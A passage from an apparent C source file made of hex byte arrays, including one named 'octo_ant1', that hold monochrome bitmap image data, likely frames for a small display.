,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x00,0x07,0xc7,0xfe,0x3f,0xc0,0x00,0x00,0x03,0xe0,0x01,0xff,0xf9,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x07,0xc3,0xfe,0x3f,0xe0,0x00,0x00,0x03,0xe0,0x00,0x7f,0xfc,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x07,0xc3,0xff,0x1b,0xe0,0x00,0x00,0x07,0xc0,0x00,0x18,0x7e,0x7f,0xbc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x07,0xc3,0xdf,0x01,0xf0,0x00,0x00,0x07,0xc0,0x00,0x00,0x3f,0x3f,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x03,0xc3,0xce,0x01,0xf0,0x00,0x00,0x0f,0x80,0x00,0x00,0x1f,0xbe,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x03,0xc3,0xc0,0x00,0xf8,0x00,0x00,0x0f,0x80,0x00,0x00,0x0f,0xfe,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x03,0xc3,0xc0,0x00,0xf8,0x00,0x00,0x0f,0x80,0x00,0x00,0x07,0xfc,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x07,0xc3,0xc0,0x00,0xf8,0x00,0x00,0x0f,0x00,0x00,0x00,0x03,0xfc,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x07,0xc3,0xc0,0x00,0x78,0x00,0x00,0x1f,0x00,0x00,0x00,0x01,0xf8,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x07,0xc3,0xc0,0x00,0x7c,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0xf8,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x07,0x83,0xdc,0x00,0x7c,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0xf8,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x0f,0x87,0xde,0x00,0x7c,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x0f,0x87,0xfe,0x07,0xfc,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x1f,0x07,0xfc,0x0f,0xfc,0x00,0x00,0x1e,0x00,0x00,0x00,0x01,0xf0,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x1f,0x07,0xbe,0x0f,0xfc,0x00,0x00,0x1e,0x00,0x00,0x00,0x01,0xf0,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x3e,0x07,0xbe,0x0f,0xfc,0x00,0x00,0x1e,0x00,0x00,0x00,0x01,0xf0,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x7e,0x0f,0xbe,0x07,0xfc,0x00,0x00,0x1e,0x00,0x00,0x00,0x01,0xf0,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0xfc,0x0f,0x9c,0x07,0xfc,0x00,0x00,0x1e,0x00,0x00,0x00,0x01,0xf0,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x01,0xf8,0x0f,0x80,0x00,0x7c,0x00,0x00,0x1e,0x00,0x00,0x00,0x01,0xf0,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x03,0xf0,0x1f,0x00,0x00,0x7c,0x00,0x00,0x1e,0x00,0x00,0x00,0x01,0xf0,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x07,0xe0,0x1f,0x00,0x00,0x7c,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf1,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x1f,0xe0,0x3e,0x00,0x00,0x78,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf1,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x3f,0x80,0x3e,0x00,0x00,0x78,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf9,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x80,0xff,0x00,0x7c,0x00,0x00,0xf8,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0xfb,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xff,0xfe,0x00,0x7c,0x00,0x00,0xf8,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x7b,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xff,0xfc,0x00,0xfb,0x80,0x00,0xf0,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x7f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xff,0xf0,0x01,0xff,0x80,0x01,0xf0,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x7f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0xc0,0x03,0xff,0x80,0x01,0xf0,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x3f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x03,0xef,0x80,0x01,0xe0,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x3f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xef,0xc0,0x03,0xe0,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0xc7,0xc0,0xe3,0xe0,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x83,0x81,0xe7,0xc0,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x0f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x01,0xf7,0xc0,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x07,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xfe,0x00,0x01,0xff,0x80,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x03,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0xf8,0x00,0x01,0xff,0x80,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x01,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xff,0xf6,0x00,0x00,0xff,0x00,0x00,0x00,0x01,0xf0,0x00,0x00,0x00,0x00,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xff,0xdf,0x00,0x00,0x3e,0x00,0x00,0x00,0x01,0xf0,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xff,0x1f,0x00,0x00,0x7e,0x00,0x00,0x00,0x01,0xf0,0x00,0x00,0x00,0x00,0x3f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xfc,0x3f,0x00,0x01,0xfc,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x00,0x1f,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x80,0x3f,0x00,0x03,0xf8,0x00,0x00,0x00,0x00,0xfc,0x00,0x00,0x00,0x00,0x0f,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x07,0xf0,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x03,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x1f,0xe0,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x01,0xff,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0xc0,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x7f,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xff,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x1f,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xfe,0x00,0x00,0x00,0x00,0x00,0x1f,0x80,0x00,0x00,0x00,0x00,0x07,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xf8,0x00,0x00,0x00,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x01,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xe0,0x00,0x00,0x00,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; - -const uint8_t octo_ant1[]= {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x39,0xff,0xff,0xff,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0xff,0xff,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xff,0xf0,0x00,0x01,0xff,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0xff,0x00,0x00,0x00,0x3f,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x0f,0x80,0x00,0x00,0x07,0xff,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x07,0x80,0x00,0x00,0x01,0xff,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x07,0xc0,0x00,0x00,0x00,0x7f,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0x03,0xe0,0x00,0x00,0x00,0x1f,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xff,0x83,0xe0,0x00,0x00,0x00,0x0f,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xef,0x81,0xe0,0x00,0x00,0x00,0x0f,0x9f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xc7,0xc1,0xf0,0x00,0x00,0x00,0x0f,0x8f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x83,0xe0,0xf0,0x00,0x00,0x00,0x0f,0x8f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x03,0xe0,0xf0,0x00,0x00,0x00,0x0f,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x01,0xf0,0xf8,0x00,0x00,0x00,0x0f,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0xf0,0x78,0x00,0x00,0x00,0x0f,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0xf8,0xf8,0x00,0x07,0x00,0x1f,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xf0,0x00,0x7f,0xf8,0x00,0x1f,0xe0,0x1f,0x1f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xf0,0x00,0x7f,0xf0,0x00,0x7f,0xf8,0x1f,0x9f,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xe0,0x00,0x7f,0xe0,0x00,0xff,0xfc,0x1f,0xff,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xc0,0x00,0x3f,0x80,0x00,0xff,0xfc,0x0f,0xfd,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xc0,0x00,0x04,0x00,0x01,0xf0,0x3c,0x03,0xfc,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x01,0xe3,0xbe,0x01,0xf8,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x01,0xe7,0xde,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x01,0xe7,0xde,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x01,0xe7,0xde,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0x01,0xe7,0xde,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0x01,0xe7,0xdf,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x01,0xe7,0xdf,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x01,0xe7,0xcf,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x01,0xe7,0xcf,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x01,0xe7,0xcf,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x00,0x01,0xe7,0xcf,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x7e,0x00,0x00,0x00,0x01,0xe7,0xcf,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0xff,0x00,0x00,0x00,0x01,0xe7,0xcf,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0x80,0x00,0x00,0x01,0xf7,0xcf,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0xff,0xc0,0x00,0x00,0x00,0xf0,0x1f,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0xe3,0xc0,0x00,0x00,0x00,0xf0,0x1e,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0xe3,0xe0,0x00,0x00,0x00,0xf8,0x1e,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0xe1,0xe0,0x00,0x00,0x00,0x78,0x3e,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0xf1,0xe1,0xe0,0x00,0x00,0x00,0x7c,0x3c,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0xf3,0xe0,0xf0,0x00,0x00,0x00,0x3c,0x7c,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x03,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xf3,0xc0,0xf0,0x00,0x00,0x00,0x3e,0x78,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x3f,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xe7,0xc0,0xf0,0x00,0x00,0x00,0x1e,0xf8,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x0f,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xe7,0xc0,0xf0,0x00,0x00,0x00,0x1f,0xf0,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x07,0xff,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xef,0x80,0x70,0x00,0x00,0x00,0x0f,0xf0,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x7f,0xff,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0x00,0x78,0x00,0x00,0x00,0x0f,0xe0,0x00,0x00,0x03,0xc0,0x00,0x00,0x01,0xff,0xff,0xef,0xfc,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0x00,0x78,0x00,0x00,0x00,0x07,0x80,0x00,0x00,0x03,0xc0,0x00,0x00,0x0f,0xff,0xf8,0x3f,0xf8,0x00,0x00,0x00,0x00,0x00,0x01,0xfe,0x00,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xc0,0x00,0x00,0x1f,0xfc,0x1f,0xff,0xf8,0x00,0x00,0x00,0x00,0x00,0x01,0xfc,0x00,0x79,0xe0,0x00,0x00,0x00,0x00,0x00,0x01,0xe3,0xc0,0x00,0x00,0x7f,0xc0,0xff,0xfe,0xf8,0x00,0x00,0x00,